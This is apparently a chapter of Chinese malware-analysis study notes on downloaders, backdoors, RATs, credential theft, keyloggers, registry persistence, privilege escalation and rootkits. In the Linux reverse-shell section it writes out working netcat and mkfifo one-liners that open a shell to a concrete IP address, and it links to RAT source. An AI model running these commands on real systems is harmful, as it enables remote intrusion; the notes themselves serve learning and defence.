11. 恶意代码行为
11.1 下载器和启动器
下载器
从互联网上下载其他的恶意代码,然后在本地系统中运行。
通常与exploit打包在一起
常用的Windows API函数为URLDownloadtoFileA(下载)和WinExec(执行)
启动器
也叫加载器,主要用来运行恶意代码。
通常包含它要加载的恶意代码
11.2 后门
恶意代码的一种
功能较多且完善,以多种形式与大小存在。
通过不需要再下载其他的恶意代码
通信方式多种多样,通常使用http协议和80端口,方便透穿防火墙
功能强大:操作注册表、网络、进程、文件等
可以通过使用和导入的Windows API函数来确定其使用的功能
如一个键盘记录的后门,我们通过分析其导入函数,可以看到其使用了GetCommandLineA、
通过MSDN可以看到这个API的作用,主要为检索当前进程的命令行字符串。这样的话就通过导入函数大概了解了这个函数的主要作用。
11.2.1 反向shell
正向shell:攻击者直接连接被控的目标主机
反向shell:被控的目标主机反向连接攻击者的机器
11.2.1.1 Linux反向shell
在服务器端进行监听:
nc -lvvp 80
被控的客户端反向连接:
nc -e /bin/sh 110.40.141.103 80
执行命令:
openbsd版本的netcat不支持 -e或者-c 参数,这样的话可以使用下面的命令来执行:
rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 110.40.141.103 80 > /tmp/f
11.2.1.2 windows反向shell
windows反向shell的基础方法主要利用cmd.exe来操作,其执行的流程如下所示:
核心:通过CreateProcess函数调用,并操作传递给CreateProcess的STARTUPINFO结构
1.创建一个socks
2.与远程服务器建立连接
3.绑定socks与cmd.exe的标准流(标准输入、标准输出、与标准错误)
4.调用CreateProcess函数用隐藏窗口的方式创建cmd.exe,从而隐藏cmd.exe
windows反向shell多线程版本涉及一个socks、两个管道及两个线程的创建(查询API调用函数CreateThread、CreatePipe)
11.2.2 远控工具-RAT
可参考学习CS和PoisonIvy
https://github.com/killeven/Poison-Ivy-Reload
11.2.3 僵尸网络
11.2.4 RAT与僵尸网络对比
范围:RAT针对特定目标,小范围;僵尸网络大范围感觉
控制:RAT同一时间控制单台;僵尸网络同一时间可大范围控制
11.3 凭证窃取
可参考前期文章:
windows凭证窃取
https://www.yuque.com/feiniao112/hnk3pi/ww3umi
浏览器凭证窃取
https://www.yuque.com/feiniao112/hnk3pi/hhw12g
运维工具凭证窃取
https://www.yuque.com/feiniao112/hnk3pi/no2beh
Linux凭证窃取
https://www.yuque.com/feiniao112/hnk3pi/cm6n0f
主要获取方式:
密码
密码hash
其他可以直接或间接登录的凭证
11.3.1 GINA拦截
XP时代的实现方式;GINA在msgina.dll中实现, msgina.dll在用户登录系统过程中由Winlogon可执行文件加载。攻击者可以winlogon.exe和msgina.dll中植入恶意的dll来实现拦截。详细如下图所示:
实现流程:
恶意dll程序fsgina.dll拦截winlogon.exe与msgina.dll之间的通信
为保障程序正常,其必须将凭证信息传递给msgina.dll
fsgina.dll必须包含GINA要求的所有导出函数
具体超过15个导出函数,其大部分前缀为Wlx
11.3.2 口令哈希存储
暴力破解hash
PTH
11.3.3 键盘记录器
基于内核的记录器
Rootkit的一种
驱动绕过用户态的保护
基于用户空间的记录器
通常使用Windows API
通过hook或轮询来实现
hook在每次按下键盘中使用Windows API通知恶意代码,通常使用SetWindowsHookEx安装hook
GetAsyncKeyState用来识别按键是被按下还是被弹起
GetForegroundWindows函数用来识别当前的聚焦的窗口,它告诉键盘记录器当前哪个应用程序正在执行输入
11.4 存活机制
主要主是持久化,主流持久化技术有:wmi、注册表、服务、定时任务、自启动。
这里面讨论的是DLL加载顺序劫持
11.4.1 Windows注册表
关于Windows注册表来实现的持久化可以参考个人前期的文章:
https://www.yuque.com/feiniao112/rq5bav/aso093
其用来实现持久化的主要表项如下:
永久启动项
64位系统
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
32位系统
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServices
一次性启动项,下次启动会自动删除
64位系统
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
32位系统
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunServicesOnce
可以使用Autoruns来进行快速排查,除了上面罗列的注册表项,还有几个比较受欢迎的值得去深入扩展:
AppInit_DLL
Winlogon
SvcHost DLL
AppInit_DLL
恶意代码可以编写一个名为AppInit_DLL的特殊表项让他们的DLL获得加载
AppInit_DLL中的DLL程序会在进程加载User32.dll时被加载
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost
Winlogon Notify
Hook一个特殊的Winlogon事件,如登录、注销、关机等
其允许恶意代码在安全模式下加载
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
SvcHost DLL
核心是将恶意DLL注入到svchost.exe中,也就是经典的DLL注入,可以参考个人前期文章:
https://www.yuque.com/feiniao112/fknpgi/die8kr
11.4.2 特洛伊木马系统二进制文件
11.4.3 DLL加载顺序劫持
11.5 提权
11.5.1 使用SeDebugPrivilege提权
以用户权限运行的进程并没有任意系统资源的权限
恶意代码获取这些权限的唯一方法是通过设置访问令牌的权限来开启SeDebugPrivilege
在Windows中,访问令牌(Access Token)是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限
可以通过调用AdjustTokenPrivilege来调整访问令牌
SeDebugPrivilege
SeDebugPrivilege特权作为一个系统级别调试工具,可以用来获取系统进程拥有的所有权限
默认情况下,SeDebugPrivilege只赋给本地管理员账号
拥有SeDebugPrivilege权限同等于拥有本地管理员权限
11.6 用户态Rootkit
Rooktit的典型特征:
隐藏进程
隐藏文件
隐藏网络连接
隐藏自身
通常和木马后门结合使用